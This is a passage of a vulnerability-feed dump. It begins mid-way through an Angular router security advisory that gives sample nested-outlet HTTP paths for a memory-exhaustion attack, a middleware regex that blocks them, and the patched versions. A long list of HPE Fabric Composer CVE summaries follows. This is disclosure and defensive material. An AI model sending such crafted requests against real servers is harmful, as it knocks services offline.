/shop/(a:/()//b:/()//c:/()//...)?param1=value&param2=value... HTTP/1.1\nHost: example.com\n```\n\nAgainst a configuration with named-outlet or sibling routes:\n\n```http\nGET /dashboard/(detail:1//x:/(detail:1//x:/(...)//y:/(...))//y:/(...)) HTTP/1.1\nHost: example.com\n```\n\n### Patches\n\nThe issue is resolved in [angular/angular#71055](https://github.com/angular/angular/pull/71055). The router now requires every child outlet segment group to match a route configured for its target outlet before unwrapping child segments or completing a match, and prevents unconfigured empty-path outlet groups from matching routes declared for other outlets.\n\nPatched versions:\n* `22.2.1`\n* `21.2.25`\n* `20.3.33`\n\nVersions prior to v20 are also affected but are no longer supported and will not receive a patch.\n\n### Workarounds & Mitigations\n\nIf you cannot immediately upgrade to a patched version, apply one or more of the following mitigations:\n\n1. **Reject Parenthesized or Empty-Path Outlet URLs in Middleware or WAF (Recommended):**\n   In `@angular/router`, auxiliary outlet groups in a URL always use parentheses `(...)`, and empty-path outlet groups in a URL always take the form `:/( `, `(/ `, or `///( `.\n\n   * If your application does **not** use named (auxiliary) outlets in URLs, reject requests whose path contains `(` or `)` before Angular SSR handles the request.\n   * If your application does use named outlets, reject requests whose path contains empty-path outlet sequences (`:/( `, `(/ `, or `///( `).\n\n   Unlike URL length limits, this completely blocks both heap exhaustion and short-URL guard/resolver amplification:\n\n   ```typescript\n   // server.ts (placed before Angular SSR handler)\n   app.use((req, res, next) => {\n     let pathname: string;\n     try {\n       pathname = decodeURI(req.url.split(/[?#]/, 1)[0]);\n     } catch {\n       res.status(400).send(\"Bad Request\");\n       return;\n     }\n\n     // Option A: If the app does not use named outlets in URLs, block all parenthesized groups:\n     if (/[()]/.test(pathname)) {\n       res.status(400).send(\"Bad Request\");\n       return;\n     }\n\n     // Option B: If the app uses named outlets, block only empty-path outlet groups:\n     if (/:\\/\\(|\\(\\//\\(|\\/\\/\\/\\(/.test(pathname)) {\n       res.status(400).send(\"Bad Request\");\n       return;\n     }\n\n     next();\n   });\n   ```\n\n2. **Limit URL Length at Reverse Proxy or Middleware:**\n   Configure your edge proxy, web application firewall (WAF), or reverse proxy to reject requests with excessively long URLs (e.g., exceeding 2,048 bytes). The outlet portion of the payload is in the path, so limit the full request target, not only the query string. This reduces, but does not eliminate, guard/resolver amplification, which requires only a short URL.\n\n3. **Increase Node.js Old Space:**\n   Increasing `--max-old-space-size` raises the request size and concurrency required to exhaust memory, though it does not eliminate the issue.","published_time":"2026-10-20T14:36:39Z","modified_time":"2026-10-20T14:36:39Z","withdrawn_time":null,"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"affected":[{"package":{"ecosystem":"npm","name":"@angular/router"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.0.0"},{"fixed":"22.2.1"}]}]},{"package":{"ecosystem":"npm","name":"@angular/router"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.0.0"},{"fixed":"21.2.25"}]}]},{"package":{"ecosystem":"npm","name":"@angular/router"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"20.3.33"}]}]},{"package":{"ecosystem":"npm","name":"@angular/router"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"19.2.25"}]}]}],"references":[{"type":"WEB","url":"https://github.com/angular/angular/security/advisories/GHSA-62vg-58rm-qff7"},{"type":"WEB","url":"https://github.com/angular/angular/issues/70997"},{"type":"WEB","url":"https://github.com/angular/angular/pull/71055"},{"type":"WEB","url":"https://github.com/angular/angular/commit/a83f8119acd466b524ae0113096ed188358d6d6c"},{"type":"WEB","url":"https://github.com/angular/angular/commit/b0d2ba0f54e21cb57ea5a0ca0d8e6065f28e23a0"},{"type":"WEB","url":"https://github.com/angular/angular/commit/b6bf6504adab1a78cc62ad8402f6bed229e620bd"},{"type":"WEB","url":"https://github.com/angular/angular/commit/e9bf52aa03a3b9b302c33ffbc967ef0e1de5fb79"},{"type":"PACKAGE","url":"https://github.com/angular/angular"}],"cwe_ids":["CWE-400","CWE-405"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-20T14:36:39Z"}},{"cve_id":"CVE-2026-95772","summary":"A race condition vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to corrupt the configuration state of the affected system.","cvss":4.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:26","euvd":{"id":"EUVD-2026-116189","description":"A race condition vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to corrupt the configuration state of the affected system.","published_time":"2026-11-03T19:51:24","cvss":4.2,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95773","summary":"A denial-of-service vulnerability has been identified in HPE Networking Fabric Composer. Successful exploitation of this vulnerability could allow a low-privileged local attacker to cause a partial denial-of-service condition affecting other workloads on the same host.","cvss":3.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:26","euvd":{"id":"EUVD-2026-116190","description":"A denial-of-service vulnerability has been identified in HPE Networking Fabric Composer. Successful exploitation of this vulnerability could allow a low-privileged local attacker to cause a partial denial-of-service condition affecting other workloads on the same host.","published_time":"2026-11-03T19:51:24","cvss":3.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95774","summary":"A sensitive information disclosure vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to obtain sensitive information from the affected system.","cvss":3.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:26","euvd":{"id":"EUVD-2026-116191","description":"A sensitive information disclosure vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to obtain sensitive information from the affected system.","published_time":"2026-11-03T19:51:25","cvss":3.7,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95775","summary":"A local information disclosure vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged local attacker to read certain files on the underlying operating system.","cvss":3.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:26","euvd":{"id":"EUVD-2026-116192","description":"A local information disclosure vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged local attacker to read certain files on the underlying operating system.","published_time":"2026-11-03T19:51:26","cvss":3.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95776","summary":"An authenticated path traversal vulnerability exists in the API of HPE Networking Fabric Composer, which could be exploited by an authenticated low-privileged user if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to read certain files on the underlying operating system.","cvss":3.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:26","euvd":{"id":"EUVD-2026-116193","description":"An authenticated path traversal vulnerability exists in the API of HPE Networking Fabric Composer, which could be exploited by an authenticated low-privileged user if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to read certain files on the underlying operating system.","published_time":"2026-11-03T19:51:27","cvss":3.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95777","summary":"A sensitive information disclosure vulnerability exists in the management interface of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged attacker to obtain certain sensitive information stored on the affected system.","cvss":3.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:26","euvd":{"id":"EUVD-2026-116194","description":"A sensitive information disclosure vulnerability exists in the management interface of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged attacker to obtain certain sensitive information stored on the affected system.","published_time":"2026-11-03T19:51:27","cvss":3.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95763","summary":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access sensitive information if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept transferred files and the stored credentials for remote servers.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116180","description":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access sensitive information if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept transferred files and the stored credentials for remote servers.","published_time":"2026-11-03T19:51:16","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95764","summary":"An improper certificate validation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to access sensitive information.","cvss":5.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116181","description":"An improper certificate validation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to access sensitive information.","published_time":"2026-11-03T19:51:17","cvss":5.7,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95765","summary":"A sensitive information disclosure vulnerability exists in the web-based management interface of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to obtain sensitive information.","cvss":5.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116182","description":"A sensitive information disclosure vulnerability exists in the web-based management interface of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to obtain sensitive information.","published_time":"2026-11-03T19:51:18","cvss":5.4,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95766","summary":"Sensitive information disclosure vulnerabilities in HPE Networking Fabric Composer could allow an authenticated attacker with low privileges to access sensitive information. Successful exploitation could allow an attacker to disclose sensitive information.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116183","description":"Sensitive information disclosure vulnerabilities in HPE Networking Fabric Composer could allow an authenticated attacker with low privileges to access sensitive information. Successful exploitation could allow an attacker to disclose sensitive information.","published_time":"2026-11-03T19:51:18","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95767","summary":"An unauthenticated information disclosure vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to obtain sensitive information about the affected system.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116184","description":"An unauthenticated information disclosure vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to obtain sensitive information about the affected system.","published_time":"2026-11-03T19:51:19","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95768","summary":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an authenticated low-privileged remote attacker to obtain sensitive information from the affected system.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116185","description":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an authenticated low-privileged remote attacker to obtain sensitive information from the affected system.","published_time":"2026-11-03T19:51:20","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95769","summary":"An audit log spoofing vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to falsify the client address recorded in audit records.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116186","description":"An audit log spoofing vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to falsify the client address recorded in audit records.","published_time":"2026-11-03T19:51:21","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95770","summary":"A sensitive information disclosure vulnerability in the underlying operating system of HPE Networking Fabric Composer could allow an authenticated low-privileged user with local access to view sensitive information, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information from the affected system.","cvss":4.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116187","description":"A sensitive information disclosure vulnerability in the underlying operating system of HPE Networking Fabric Composer could allow an authenticated low-privileged user with local access to view sensitive information, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information from the affected system.","published_time":"2026-11-03T19:51:22","cvss":4.7,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95771","summary":"An authenticated information disclosure vulnerability exists in an API endpoint of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated remote attacker to obtain limited information about the affected system.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:25","euvd":{"id":"EUVD-2026-116188","description":"An authenticated information disclosure vulnerability exists in an API endpoint of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated remote attacker to obtain limited information about the affected system.","published_time":"2026-11-03T19:51:23","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95755","summary":"Improper certificate validation vulnerabilities in the affected interface of HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to intercept management traffic if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116172","description":"Improper certificate validation vulnerabilities in the affected interface of HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to intercept management traffic if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information.","published_time":"2026-11-03T19:51:10","cvss":6.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95756","summary":"A command injection vulnerability exists in the API of HPE Networking Fabric Composer and could be exploited by an authenticated remote attacker with administrative privileges if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain elevated privileges on the underlying operating system.","cvss":6.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116173","description":"A command injection vulnerability exists in the API of HPE Networking Fabric Composer and could be exploited by an authenticated remote attacker with administrative privileges if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain elevated privileges on the underlying operating system.","published_time":"2026-11-03T19:51:11","cvss":6.6,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95757","summary":"A local authentication bypass vulnerability exists in an API of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with low privileges to write arbitrary files to remote servers configured on the affected system.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116174","description":"A local authentication bypass vulnerability exists in an API of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with low privileges to write arbitrary files to remote servers configured on the affected system.","published_time":"2026-11-03T19:51:12","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95758","summary":"An authorization bypass vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker to bypass security restrictions and modify protected resources on the affected system.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116175","description":"An authorization bypass vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker to bypass security restrictions and modify protected resources on the affected system.","published_time":"2026-11-03T19:51:12","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95759","summary":"Audit log bypass vulnerabilities exist in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to suppress the audit records of their activity on the affected system.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116176","description":"Audit log bypass vulnerabilities exist in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to suppress the audit records of their activity on the affected system.","published_time":"2026-11-03T19:51:13","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95760","summary":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an authenticated attacker with low privileges to gain elevated privileges on the affected system.","cvss":6.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116177","description":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an authenticated attacker with low privileges to gain elevated privileges on the affected system.","published_time":"2026-11-03T19:51:14","cvss":6.4,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95761","summary":"An improper certificate validation vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to obtain sensitive information.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116178","description":"An improper certificate validation vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to obtain sensitive information.","published_time":"2026-11-03T19:51:15","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95762","summary":"An insufficient session expiration vulnerability exists in the API of HPE Networking Fabric Composer if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an authenticated administrative attacker to maintain persistent access to the affected system.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:24","euvd":{"id":"EUVD-2026-116179","description":"An insufficient session expiration vulnerability exists in the API of HPE Networking Fabric Composer if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an authenticated administrative attacker to maintain persistent access to the affected system.","published_time":"2026-11-03T19:51:15","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95746","summary":"An authentication bypass vulnerability in the API endpoint of HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to the affected 